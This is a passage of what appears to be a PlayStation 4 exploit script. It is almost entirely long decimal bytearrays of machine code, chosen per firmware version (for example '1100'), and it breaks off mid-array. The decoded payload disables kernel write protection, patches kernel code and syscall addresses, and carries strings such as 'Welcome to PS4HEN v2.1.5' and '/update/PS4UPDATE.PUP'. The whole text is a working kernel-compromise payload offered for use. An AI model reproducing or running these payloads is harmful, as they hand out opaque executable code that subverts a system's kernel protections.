4,25,0,0,65,188,12,0,0,0,72,139,53,139,25,0,0,137,68,36,8,139,69,8,68,15,183,123,12,137,68,36,12,15,183,67,14,65,1,199,77,99,239,76,137,239,255,21,184,25,0,0,72,133,192,73,137,198,15,132,131,0,0,0,72,139,117,56,76,137,234,72,137,199,255,21,116,25,0,0,72,139,125,56,76,137,234,72,137,222,255,21,100,25,0,0,199,69,0,2,0,0,0,72,137,239,68,137,125,8,255,21,168,24,0,0,72,139,125,56,76,137,246,65,137,196,76,137,234,255,21,61,25,0,0,139,68,36,8,76,137,247,72,139,53,7,25,0,0,137,69,0,139,68,36,12,137,69,8,255,21,63,25,0,0,235,28,72,137,239,232,227,254,255,255,133,192,15,133,62,255,255,255,72,137,239,255,21,92,24,0,0,65,137,196,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,133,255,116,61,65,84,83,72,131,236,24,76,141,37,176,21,0,0,72,137,124,36,8,76,137,230,255,21,226,24,0,0,72,139,124,36,8,72,133,192,72,137,195,116,13,76,137,231,255,21,164,24,0,0,72,141,60,3,72,131,196,24,91,65,92,255,37,35,24,0,0,243,15,30,250,85,72,137,229,65,85,72,131,236,24,72,139,69,0,73,137,253,72,139,120,248,72,133,255,116,25,72,137,85,224,72,137,117,232,232,70,254,255,255,72,139,117,232,133,192,72,139,85,224,117,16,72,131,196,24,76,137,239,65,93,93,255,37,212,23,0,0,199,66,4,0,0,0,0,72,131,196,24,65,93,49,192,93,195,243,15,30,250,65,85,65,84,85,73,137,205,72,129,236,160,0,0,0,131,63,1,72,137,253,117,12,72,133,246,116,68,77,133,237,117,51,235,61,72,137,52,36,137,84,36,12,232,229,253,255,255,72,139,52,36,133,192,117,223,139,84,36,12,72,129,196,160,0,0,0,76,137,233,72,137,239,93,65,92,65,93,255,37,99,23,0,0,72,137,239,232,185,253,255,255,133,192,117,11,65,188,22,0,0,0,233,29,1,0,0,72,141,116,36,16,72,137,239,255,21,54,23,0,0,133,192,65,137,196,15,133,4,1,0,0,139,69,0,131,248,1,117,15,72,139,69,56,72,133,192,15,132,209,0,0,0,235,102,131,248,2,15,133,206,0,0,0,72,139,69,56,15,183,112,12,15,183,80,24,72,141,78,224,72,193,226,5,72,41,209,72,131,249,63,15,134,181,0,0,0,128,225,15,15,133,172,0,0,0,15,183,72,14,72,141,180,14,0,255,255,255,72,1,198,72,141,68,16,32,72,129,62,136,0,0,0,117,22,72,131,198,8,72,141,124,36,24,186,136,0,0,0,255,21,72,23,0,0,235,84,139,64,16,102,61,24,254,116,39,119,118,137,194,131,226,239,102,129,250,0,254,116,6,102,131,248,2,117,100,72,141,124,36,24,186,136,0,0,0,72,141,53,176,20,0,0,235,17,72,141,124,36,24,186,136,0,0,0,72,141,53,253,19,0,0,255,21,255,22,0,0,72,139,68,36,16,72,139,0,72,137,68,36,24,72,141,116,36,24,186,136,0,0,0,76,137,239,255,21,223,22,0,0,235,30,65,188,3,0,0,0,235,22,65,188,221,255,255,255,235,14,65,188,219,255,255,255,235,6,65,188,45,0,0,0,72,129,196,160,0,0,0,68,137,224,93,65,92,65,93,195,72,133,255,72,139,21,101,22,0,0,72,137,248,116,23,72,139,18,72,133,210,116,12,72,59,66,32,117,242,72,139,66,16,235,3,49,192,195,195,243,15,30,250,85,72,137,229,65,87,65,86,65,85,65,84,83,72,131,236,40,72,139,69,0,73,137,253,76,139,70,8,76,139,126,80,73,137,244,76,139,118,88,72,139,120,248,139,70,72,139,94,68,72,133,255,137,69,204,116,73,131,63,1,117,43,76,137,199,69,49,192,232,140,255,255,255,76,137,255,73,137,197,232,129,255,255,255,77,133,246,73,137,193,116,64,76,137,247,232,113,255,255,255,73,137,192,235,51,72,137,85,184,76,137,69,192,232,220,251,255,255,76,139,69,192,133,192,72,139,85,184,117,188,72,131,196,40,76,137,230,91,76,137,239,65,92,65,93,65,94,65,95,93,255,37,96,21,0,0,77,133,237,76,137,69,192,116,96,77,133,201,116,91,137,222,72,139,13,209,21,0,0,76,1,206,77,133,246,15,149,194,77,57,247,15,149,192,132,194,116,55,133,219,116,51,65,190,0,64,0,0,76,137,239,65,41,222,76,137,242,255,209,76,139,69,192,77,133,192,116,33,139,69,204,75,141,60,46,76,137,198,141,148,3,0,192,255,255,255,21,137,21,0,0,235,8,139,85,204,76,137,239,255,209,65,199,68,36,4,0,0,0,0,72,131,196,40,91,49,192,65,92,65,93,65,94,65,95,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,13,238,252,255,255,72,141,144,64,254,255,255,129,233,211,18,100,0,41,209,137,136,15,17,100,0,72,141,13,36,251,255,255,68,141,129,149,229,155,255,129,233,78,39,100,0,41,209,65,41,208,137,136,138,37,100,0,72,141,13,91,252,255,255,129,233,2,227,99,0,68,137,128,167,24,100,0,41,209,137,136,62,225,99,0,72,141,13,90,254,255,255,129,233,61,239,99,0,41,209,137,136,121,237,99,0,72,141,13,222,251,255,255,129,233,129,17,100,0,41,209,137,136,189,15,100,0,87,157,15,34,198,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,81,72,139,86,8,73,137,253,184,1,0,0,0,72,133,210,116,106,72,139,5,90,20,0,0,72,137,245,72,131,62,0,72,139,24,117,19,49,192,72,139,27,255,192,72,133,219,117,246,72,152,72,137,2,235,66,68,139,58,69,49,228,69,57,231,126,55,77,107,244,36,72,139,125,0,72,141,179,84,4,0,0,186,32,0,0,0,73,255,196,76,1,247,255,21,72,20,0,0,139,147,176,0,0,0,72,139,27,72,139,69,0,72,133,219,66,137,84,48,32,117,196,49,192,72,99,208,73,137,149,152,3,0,0,90,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,139,5,214,19,0,0,72,139,0,57,184,176,0,0,0,116,8,72,139,0,72,133,192,117,240,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,76,137,197,101,76,139,4,37,0,0,0,0,72,133,255,184,1,0,0,0,15,132,188,0,0,0,72,133,210,72,137,211,117,24,49,192,72,133,237,15,132,169,0,0,0,72,199,69,0,0,0,0,0,233,156,0,0,0,73,137,207,72,141,76,36,16,69,137,205,76,137,68,36,8,72,137,12,36,73,137,252,73,137,246,72,137,207,49,246,186,16,0,0,0,255,21,124,19,0,0,76,137,124,36,16,76,141,124,36,32,72,137,92,36,24,49,246,186,48,0,0,0,76,137,255,255,21,93,19,0,0,72,139,12,36,49,192,76,139,68,36,8,69,133,237,15,149,192,199,68,36,40,1,0,0,0,76,137,254,72,137,76,36,32,76,137,231,76,137,116,36,48,72,137,92,36,56,199,68,36,64,1,0,0,0,137,68,36,68,76,137,68,36,72,255,21,248,17,0,0,72,133,237,116,9,72,43,92,36,56,72,137,93,0,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,83,72,137,251,139,62,232,219,254,255,255,72,137,199,184,1,0,0,0,72,133,255,116,27,76,139,86,8,69,49,192,72,139,78,16,72,139,86,24,68,139,78,32,76,137,214,232,210,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,137,251,80,72,107,219,48,72,137,245,186,48,0,0,0,49,246,72,3,29,42,18,0,0,72,137,223,255,21,145,18,0,0,199,3,8,0,0,0,72,137,107,8,199,67,44,1,0,0,0,90,91,93,195,243,15,30,250,65,84,85,83,72,137,243,72,131,236,16,65,131,204,255,72,199,68,36,8,0,0,0,0,255,21,98,17,0,0,72,133,192,15,132,215,0,0,0,76,99,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,57,17,0,0,233,186,0,0,0,255,21,38,17,0,0,72,131,59,0,117,9,76,137,99,8,233,144,0,0,0,49,246,72,141,84,36,8,72,137,239,69,49,228,255,21,244,16,0,0,133,192,116,115,72,137,239,65,131,204,255,255,21,235,16,0,0,72,137,239,255,21,242,16,0,0,235,118,72,139,116,36,8,73,107,252,58,73,255,196,72,3,59,72,139,70,32,72,129,198,141,0,0,0,139,86,207,72,137,71,32,72,139,70,155,72,137,71,40,72,139,70,195,72,137,71,48,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,71,56,255,21,176,17,0,0,72,139,68,36,8,72,139,64,8,72,133,192,72,137,68,36,8,116,6,76,57,99,8,119,159,72,137,239,69,49,228,255,21,115,16,0,0,72,137,239,255,21,122,16,0,0,72,131,196,16,68,137,224,91,93,65,92,195,243,15,30,250,83,72,137,251,139,62,232,78,253,255,255,72,137,199,184,1,0,0,0,72,133,255,116,16,72,131,126,8,4,117,9,72,139,118,16,232,198,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,80,15,32,195,72,137,216,72,37,255,255,254,255,15,34,192,156,93,250,72,141,53,101,252,255,255,191,107,0,0,0,232,84,254,255,255,72,141,53,10,254,255,255,191,108,0,0,0,232,67,254,255,255,72,141,53,134,255,255,255,191,109,0,0,0,232,50,254,255,255,85,157,15,34,195,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,72,141,144,112,252,165,1,72,137,21,161,16,0,0,72,141,144,184,28,84,1,72,137,21,139,16,0,0,72,141,144,112,157,38,2,72,137,21,117,16,0,0,72,141,144,232,106,100,2,72,137,21,95,16,0,0,72,141,144,80,193,101,2,72,137,21,73,16,0,0,72,141,144,152,6,102,2,72,137,21,51,16,0,0,72,141,144,168,6,102,2,72,137,21,29,16,0,0,72,141,144,64,62,102,2,72,137,21,7,16,0,0,72,141,144,72,70,102,2,72,137,21,241,15,0,0,72,141,144,0,149,103,2,72,137,21,219,15,0,0,72,141,144,0,40,16,1,72,137,21,197,15,0,0,72,141,144,96,158,2,0,72,137,21,111,16,0,0,72,141,144,224,117,9,0,72,137,21,89,16,0,0,72,141,144,160,119,9,0,72,137,21,67,16,0,0,72,141,144,96,223,54,0,72,137,21,45,16,0,0,72,141,144,32,225,54,0,72,137,21,23,16,0,0,72,141,144,96,217,47,0,72,137,21,1,16,0,0,72,141,144,192,8,48,0,72,137,21,235,15,0,0,72,141,144,128,9,48,0,72,137,21,213,15,0,0,72,141,144,176,113,13,0,72,137,21,191,15,0,0,72,141,144,208,206,0,0,72,137,21,169,15,0,0,72,141,144,224,11,22,0,72,137,21,147,15,0,0,72,141,144,192,12,69,0,72,137,21,125,15,0,0,72,141,144,96,206,14,0,72,137,21,103,15,0,0,72,141,144,96,67,31,0,72,137,21,249,14,0,0,72,141,144,144,3,99,0,72,137,21,227,14,0,0,72,141,144,48,58,100,0,72,137,21,205,14,0,0,72,141,144,112,66,100,0,72,137,21,183,14,0,0,72,141,144,240,188,99,0,72,137,21,161,14,0,0,72,141,144,144,58,100,0,72,137,21,139,14,0,0,72,141,144,144,45,98,0,72,137,21,77,14,0,0,72,141,144,240,87,98,0,72,137,21,39,14,0,0,72,141,144,176,84,98,0,72,137,21,33,14,0,0,72,141,144,80,39,98,0,72,137,21,27,14,0,0,72,141,144,128,80,98,0,72,137,21,245,13,0,0,72,141,144,0,178,97,0,72,137,21,15,14,0,0,72,141,144,160,1,53,0,72,137,21,33,14,0,0,72,141,144,160,236,51,0,72,137,21,3,14,0,0,72,141,144,208,238,51,0,72,137,21,237,13,0,0,72,141,144,240,25,68,0,72,137,21,239,13,0,0,72,141,144,224,66,66,0,72,137,21,113,13,0,0,72,141,144,128,95,71,0,72,137,21,139,13,0,0,72,141,144,176,93,71,0,72,137,21,117,13,0,0,72,141,144,16,97,71,0,72,137,21,95,13,0,0,72,141,144,96,97,71,0,72,5,80,103,71,0,72,137,21,67,13,0,0,72,137,5,52,13,0,0,195,243,15,30,250,80,49,192,232,94,253,255,255,232,221,248,255,255,232,95,243,255,255,232,79,8,0,0,232,245,252,255,255,90,233,96,2,0,0,72,139,53,254,13,0,0,255,37,64,14,0,0,72,139,5,225,13,0,0,65,84,85,83,72,137,251,76,139,32,72,139,45,72,14,0,0,72,137,223,255,21,239,13,0,0,73,141,188,36,84,4,0,0,72,137,222,72,137,194,255,213,133,192,116,9,77,139,36,36,77,133,228,117,211,91,76,137,224,93,65,92,195,65,87,65,86,65,85,65,84,85,83,72,131,236,88,73,137,206,101,72,139,12,37,0,0,0,0,131,200,255,72,133,255,72,137,76,36,8,15,132,133,0,0,0,72,137,211,76,141,124,36,16,77,137,196,72,137,253,73,137,245,186,16,0,0,0,49,246,76,137,255,255,21,134,13,0,0,76,137,116,36,16,76,141,116,36,32,72,137,92,36,24,186,48,0,0,0,49,246,76,137,247,255,21,103,13,0,0,72,139,76,36,8,72,184,1,0,0,0,1,0,0,0,72,137,92,36,56,76,137,124,36,32,76,137,246,199,68,36,40,1,0,0,0,72,137,239,76,137,108,36,48,72,137,68,36,64,72,137,76,36,72,255,21,11,12,0,0,72,43,92,36,56,73,137,28,36,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,245,72,199,68,36,24,0,0,0,0,73,137,214,255,21,248,11,0,0,65,131,204,255,72,133,192,15,132,12,1,0,0,68,139,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,203,11,0,0,233,239,0,0,0,255,21,184,11,0,0,49,246,72,141,84,36,24,72,137,239,255,21,152,11,0,0,133,192,117,44,72,139,53,133,12,0,0,65,107,252,58,186,2,0,0,0,255,21,198,12,0,0,77,99,252,72,133,192,72,137,195,116,11,72,137,193,69,49,192,233,136,0,0,0,72,137,239,65,131,204,255,255,21,99,11,0,0,72,137,239,255,21,106,11,0,0,233,142,0,0,0,72,139,116,36,24,68,137,68,36,12,72,137,12,36,72,137,207,72,139,70,32,72,129,198,141,0,0,0,72,137,65,32,72,139,70,155,72,137,65,40,72,139,70,195,72,137,65,48,139,86,207,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,65,56,255,21,35,12,0,0,72,139,68,36,24,72,139,12,36,68,139,68,36,12,72,139,64,8,72,131,193,58,72,133,192,72,137,68,36,24,116,8,65,255,192,69,57,196,127,142,72,137,239,69,49,228,255,21,215,10,0,0,72,137,239,255,21,222,10,0,0,73,137,93,0,77,137,62,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,72,141,53,108,10,0,0,72,141,124,36,48,185,8,0,0,0,243,165,72,141,61,193,9,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,19,49,192,255,192,198,68,36,23,144,232,93,253,255,255,72,133,192,117,8,131,200,255,233,6,2,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,64,254,255,255,133,192,15,133,233,1,0,0,72,139,116,36,40,76,141,116,36,48,72,139,84,36,32,49,192,72,57,198,116,197,72,137,209,72,255,192,72,131,194,58,102,131,121,56,5,117,234,72,139,89,32,69,49,255,76,141,45,75,9,0,0,72,133,219,116,161,67,139,52,190,76,141,100,36,24,77,137,224,76,137,233,186,5,0,0,0,72,137,239,72,1,222,232,32,253,255,255,133,192,15,133,136,1,0,0,73,255,199,73,131,255,8,117,208,72,141,76,36,19,72,141,179,144,232,49,0,77,137,224,186,5,0,0,0,72,137,239,232,243,252,255,255,133,192,15,133,91,1,0,0,72,141,179,79,84,61,0,77,137,224,72,141,13,76,9,0,0,186,8,0,0,0,72,137,239,232,205,252,255,255,133,192,15,133,53,1,0,0,76,141,53,203,8,0,0,72,141,179,80,74,19,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,164,252,255,255,133,192,15,133,12,1,0,0,72,141,179,87,25,60,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,130,252,255,255,133,192,15,133,234,0,0,0,72,141,179,160,75,60,0,77,137,224,72,141,13,120,8,0,0,186,4,0,0,0,72,137,239,232,92,252,255,255,133,192,15,133,196,0,0,0,72,141,179,89,93,251,0,77,137,224,72,141,13,190,8,0,0,186,5,0,0,0,72,137,239,232,54,252,255,255,133,192,15,133,158,0,0,0,72,141,179,209,95,159,0,77,137,224,72,141,13,158,8,0,0,186,1,0,0,0,72,137,239,232,16,252,255,255,133,192,117,124,72,141,179,125,107,96,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,242,251,255,255,133,192,117,94,72,141,179,249,101,115,0,77,137,224,76,137,233,186,5,0,0,0,72,137,239,232,212,251,255,255,133,192,117,64,72,141,179,134,198,56,0,77,137,224,72,141,13,211,7,0,0,186,5,0,0,0,72,137,239,232,178,251,255,255,133,192,117,30,72,141,179,95,229,211,0,77,137,224,72,141,13,173,7,0,0,186,3,0,0,0,72,137,239,232,144,251,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,42,251,255,255,139,68,36,12,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,56,72,141,61,107,7,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,18,184,1,0,0,102,199,68,36,22,0,195,232,229,250,255,255,72,133,192,117,8,131,200,255,233,108,1,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,200,251,255,255,69,49,246,76,141,61,36,7,0,0,133,192,15,133,69,1,0,0,76,139,108,36,40,72,139,92,36,32,77,57,245,118,47,77,107,230,58,186,10,0,0,0,76,137,254,73,1,220,76,137,231,255,21,234,8,0,0,133,192,117,29,102,65,131,124,36,56,4,118,20,73,139,116,36,32,72,133,246,117,15,184,1,0,0,0,233,253,0,0,0,73,255,198,235,179,76,141,100,36,24,72,129,198,176,140,24,0,77,137,224,72,141,13,163,6,0,0,186,4,0,0,0,72,137,239,232,135,250,255,255,133,192,15,133,205,0,0,0,73,137,222,69,49,255,72,141,13,162,6,0,0,72,137,206,186,12,0,0,0,76,137,247,255,21,123,8,0,0,72,141,13,138,6,0,0,133,192,117,27,102,65,131,126,56,4,118,19,73,131,126,32,0,116,142,69,49,246,76,141,61,122,6,0,0,235,40,73,255,199,73,131,198,58,77,57,253,117,189,233,113,255,255,255,102,131,123,56,4,119,39,73,255,198,72,131,195,58,77,57,245,15,132,237,254,255,255,186,18,0,0,0,76,137,254,72,137,223,255,21,28,8,0,0,133,192,117,219,235,210,72,139,91,32,72,133,219,15,132,201,254,255,255,76,141,108,36,18,72,141,179,192,207,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,208,249,255,255,133,192,117,26,72,141,179,32,211,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,178,249,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,76,249,255,255,139,68,36,12,72,131,196,56,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,85,83,72,131,236,56,72,141,61,199,5,0,0,72,199,68,36,24,0,0,0,0,232,35,249,255,255,72,133,192,117,10,184,1,0,0,0,233,171,0,0,0,72,141,84,36,32,72,141,116,36,24,72,137,199,72,137,197,232,4,250,255,255,69,49,228,76,141,45,96,5,0,0,133,192,117,211,76,57,100,36,32,72,139,92,36,24,118,199,73,107,196,58,186,10,0,0,0,76,137,238,72,1,195,72,137,223,255,21,45,7,0,0,133,192,117,18,102,131,123,56,5,117,11,72,139,91,32,72,133,219,117,7,235,153,73,255,196,235,193,76,141,68,36,40,72,141,179,245,201,14,0,72,141,13,67,5,0,0,186,1,0,0,0,72,137,239,76,137,68,36,8,232,211,248,255,255,133,192,117,32,76,139,68,36,8,72,141,179,16,202,14,0,72,141,13,28,5,0,0,186,2,0,0,0,72,137,239,232,175,248,255,255,72,139,124,36,24,72,133,255,116,13,137,68,36,8,232,73,248,255,255,139,68,36,8,72,131,196,56,91,93,65,92,65,93,195,243,15,30,250,185,130,0,0,192,137,254,15,50,15,32,193,72,137,207,72,129,231,255,255,254,255,15,34,199,156,95,250,72,193,226,32,72,9,194,131,254,1,72,141,130,16,68,190,1,25,210,131,226,237,131,194,55,136,80,54,137,242,247,218,24,210,131,226,3,133,246,136,80,89,15,149,194,136,80,90,136,80,120,87,157,15,34,193,195,243,15,30,250,191,1,0,0,0,235,156,243,15,30,250,49,255,235,148,243,15,30,250,80,232,173,252,255,255,90,49,192,233,131,254,255,255,243,15,30,250,49,192,235,230,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,70,65,75,69,70,65,75,69,70,65,75,69,70,65,75,69,150,194,38,141,105,38,28,139,30,59,107,255,47,224,78,18,245,115,184,126,92,152,124,135,103,241,218,174,160,249,75,171,119,216,206,100,106,193,79,166,155,185,170,204,118,9,164,63,185,250,245,98,132,10,184,73,2,223,158,196,26,55,211,86,13,164,110,21,7,21,160,141,151,157,146,32,67,82,195,178,253,247,211,243,105,162,40,79,98,111,128,64,95,59,128,30,94,56,13,139,86,168,86,88,216,217,111,234,18,42,64,22,193,237,61,39,22,160,99,151,97,57,85,204,138,5,250,8,40,253,85,86,49,148,101,5,231,211,87,108,13,28,103,11,77,53,103,56,188,144,62,59,170,108,188,242,235,158,69,210,9,47,202,58,156,2,54,173,46,193,177,178,109,124,31,107,161,143,98,32,140,214,108,54,214,90,84,158,48,169,168,37,61,148,18,62,13,22,27,240,134,66,114,224,214,156,57,104,219,17,128,150,24,43,113,65,72,120,232,23,139,125,0,31,22,104,210,117,151,181,224,242,109,12,117,172,22,217,213,177,181,139,232,208,191,167,31,97,91,8,248,104,231,240,209,188,57,96,191,85,156,124,32,48,232,80,40,68,2,206,81,42,37,84,219,253,134,69,151,154,30,23,240,227,165,146,15,18,42,92,76,166,165,207,127,232,91,243,101,26,200,207,155,185,42,201,144,93,212,8,207,246,3,90,90,252,158,182,219,17,237,226,61,98,193,252,136,93,151,172,49,45,195,21,173,112,5,190,160,90,230,52,156,68,120,43,229,254,56,86,212,104,131,19,164,230,250,210,156,171,172,137,95,16,143,117,111,4,188,174,185,188,183,29,66,250,78,148,31,180,10,39,156,107,171,199,210,235,39,66,82,41,65,200,37,64,84,224,72,109,35,128,119,132,77,111,155,36,81,254,42,107,40,128,161,158,189,109,24,202,141,125,158,121,90,224,184,235,209,61,243,217,2,144,42,167,181,126,154,162,215,47,33,168,80,125,140,161,145,47,191,151,190,146,194,193,13,140,12,31,222,49,53,21,57,144,204,151,71,46,127,9,233,195,156,206,145,178,200,88,118,232,112,29,114,95,74,230,170,54,34,148,198,82,144,179,159,155,240,239,87,142,83,195,227,48,201,215,176,58,12,121,27,151,168,212,129,34,210,176,130,98,125,0,88,71,158,199,45,232,180,101,190,5,120,106,137,49,201,90,68,222,80,193,199,253,157,62,33,66,23,64,121,249,201,65,193,252,215,15,52,118,163,226,192,27,90,32,15,175,47,82,205,131,52,114,175,179,18,51,33,44,32,176,198,160,45,177,89,227,167,176,78,28,76,91,95,16,154,80,24,204,134,121,37,255,16,2,143,144,3,169,55,186,242,28,19,204,9,69,21,184,85,116,10,40,36,4,209,25,171,179,202,68,182,248,61,177,42,114,136,53,228,134,107,85,71,8,37,22,171,105,29,191,246,254,47,100,97,116,97,47,115,101,108,102,47,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,49,0,0,0,0,0,0,0,0,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,48,0,48,0,0,0,0,0,0,0,64,0,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,49,0,0,0,0,128,3,0,32,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,64,0,64,0,0,0,0,0,0,0,64,2,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,99,101,83,104,101,108,108,67,111,114,101,0,49,192,144,144,144,0,235,0,72,49,192,195,0,144,144,144,144,144,0,83,99,101,83,104,101,108,108,85,73,0,101,120,101,99,117,116,97,98,108,101,0,97,112,112,46,101,120,101,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,83,99,101,82,101,109,111,116,101,80,108,97,121,0,1,0,235,30,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,233,150,0,0,0,144,144,144,0,102,114,101,101,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,100,182,22,0,180,186,133,0,226,188,138,0,132,202,160,0,146,182,22,0,12,155,36,0,226,186,133,0,178,202,160,0,32,32,0,0,37,115,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,46,110,101,116,46,116,101,109,112,0,87,101,108,99,111,109,101,32,116,111,32,80,83,52,72,69,78,32,118,50,46,49,46,53,0,108,105,98,107,101,114,110,101,108,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,119,101,98,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,95,95,101,114,114,111,114,0,115,99,101,75,101,114,110,101,108,76,111,97,100,83,116,97,114,116,77,111,100,117,108,101,0,108,105,98,83,99,101,76,105,98,99,73,110,116,101,114,110,97,108,46,115,112,114,120,0,109,101,109,115,101,116,0,109,101,109,99,112,121,0,115,112,114,105,110,116,102,0,47,115,121,115,116,101,109,47,99,111,109,109,111,110,47,108,105,98,47,108,105,98,83,99,101,83,121,115,85,116,105,108,46,115,112,114,120,0,115,99,101,83,121,115,85,116,105,108,83,101,110,100,83,121,115,116,101,109,78,111,116,105,102,105,99,97,116,105,111,110,87,105,116,104,84,101,120,116,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,245,254,255,111,0,0,0,0,128,38,0,0,0,0,0,0,5,0,0,0,0,0,0,0,120,38,0,0,0,0,0,0,6,0,0,0,0,0,0,0,96,38,0,0,0,0,0,0,10,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,11,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,251,255,255,111,0,0,0,0,1,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])
        
    elif args.fw == '1100':
        offs = OffsetsFirmware_1100()
        if args.gh == '1':
            payload = bytearray([233,168,6,0,0,83,72,137,251,72,131,236,32,72,139,5,204,7,0,0,72,137,116,36,8,72,141,116,36,8,72,139,128,248,0,0,0,137,84,36,16,72,199,135,152,3,0,0,0,0,0,0,137,76,36,24,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,72,131,196,32,91,195,72,131,236,24,72,139,5,135,7,0,0,72,137,52,36,72,137,230,199,68,36,8,255,1,0,0,72,139,128,136,25,0,0,72,199,135,152,3,0,0,0,0,0,0,255,208,72,131,196,24,195,72,131,236,24,72,139,5,84,7,0,0,137,116,36,8,72,141,116,36,8,72,139,128,40,1,0,0,72,199,135,152,3,0,0,0,0,0,0,255,208,72,131,196,24,195,65,87,185,130,0,0,192,65,86,65,85,73,137,213,65,84,73,137,244,85,72,137,253,83,72,129,236,56,4,0,0,15,50,72,193,226,32,137,192,76,141,116,36,48,190,0,1,0,0,72,9,194,76,141,61,148,6,0,0,76,137,247,49,192,72,137,211,76,141,130,16,205,47,0,76,137,249,72,129,195,128,218,33,0,72,141,21,151,6,0,0,65,255,208,76,137,247,255,211,128,124,4,47,47,72,137,195,117,5,198,68,4,47,0,72,141,68,36,49,138,16,132,210,116,37,128,250,47,117,27,198,0,0,76,137,246,72,137,239,72,137,68,36,8,232,11,255,255,255,72,139,68,36,8,198,0,47,72,255,192,235,213,65,128,124,31,255,47,117,11,76,137,246,72,137,239,232,235,254,255,255,76,137,230,49,201,49,210,72,137,239,232,147,254,255,255,49,219,65,137,196,133,192,15,136,252,0,0,0,76,137,238,185,164,1,0,0,186,1,6,0,0,72,137,239,232,113,254,255,255,76,141,124,36,24,65,137,197,133,192,121,16,68,137,230,72,137,239,232,214,254,255,255,233,203,0,0,0,72,139,5,41,6,0,0,76,137,254,72,137,239,72,139,128,152,0,0,0,68,137,100,36,24,72,199,133,152,3,0,0,0,0,0,0,76,137,116,36,32,72,199,68,36,40,0,4,0,0,255,208,137,195,133,192,116,4,247,219,235,6,139,157,152,3,0,0,72,99,195,72,133,192,126,78,72,139,21,221,5,0,0,76,137,254,72,137,239,72,139,146,200,0,0,0,68,137,108,36,24,72,199,133,152,3,0,0,0,0,0,0,76,137,116,36,32,72,137,68,36,40,255,210,133,192,116,4,247,216,235,6,139,133,152,3,0,0,57,216,15,132,110,255,255,255,68,137,230,72,137,239,235,8,68,137,230,